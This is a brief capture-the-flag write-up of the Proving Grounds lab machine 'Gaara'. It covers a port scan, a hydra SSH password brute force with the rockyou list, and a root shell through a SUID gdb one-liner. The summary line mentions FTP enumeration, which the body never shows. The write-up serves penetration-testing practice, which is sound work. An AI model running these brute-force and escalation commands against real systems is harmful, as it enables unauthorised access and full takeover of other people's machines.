# Gaara Writeup - Proving Grounds

> Boot2root Linux box exploiting weak credentials via FTP enumeration, then escalating privileges using a SUID gdb binary to achieve root access.

- **URL:** https://hackindex.io/writeups/gaara
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/gaara-664/overview
- **Tags:** privilege-escalation, suid, sudo-misconfiguration, gtfobins, password-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 2 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. Apache 2.4.38 on Debian, no redirects, no interesting paths from directory enumeration or Nikto beyond default Apache findings. The page title is simply *Gaara* ,  a username hint.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
# 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
# |_http-title: Gaara
```

## Initial Access

The page title suggests a username. With no other attack surface, brute-force SSH directly against user `gaara` with rockyou:

**SSH brute force**

```bash
hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://$TARGET_IP
# [22][ssh] host: 192.168.152.142   login: gaara   password: $GAARA_PASSWORD
# 1 of 1 target successfully completed
```

**SSH as gaara**

```bash
ssh gaara@$TARGET_IP
# gaara@192.168.152.142's password:
# Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 x86_64
# gaara@Gaara:~$
```

## Privilege Escalation

`sudo -l` returns nothing for this user. Checking SUID binaries with `suid3num.py` flags two non-standard entries: `/usr/bin/gdb` and `/usr/bin/gimp-2.10`. GTFOBins lists `gdb` as exploitable with SUID ,  it can execute a shell with the effective UID of the binary owner.

**Escalate via SUID gdb**

```bash
/usr/bin/gdb -q -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
# # whoami
# root
```

The `-p` flag preserves the effective UID, so the shell runs as root. Root shell obtained.

Related

## References

- [GTFOBins — gdb SUID](https://gtfobins.github.io/gtfobins/gdb/#suid) - SUID gdb shell escalation via Python os.execl with preserved effective UID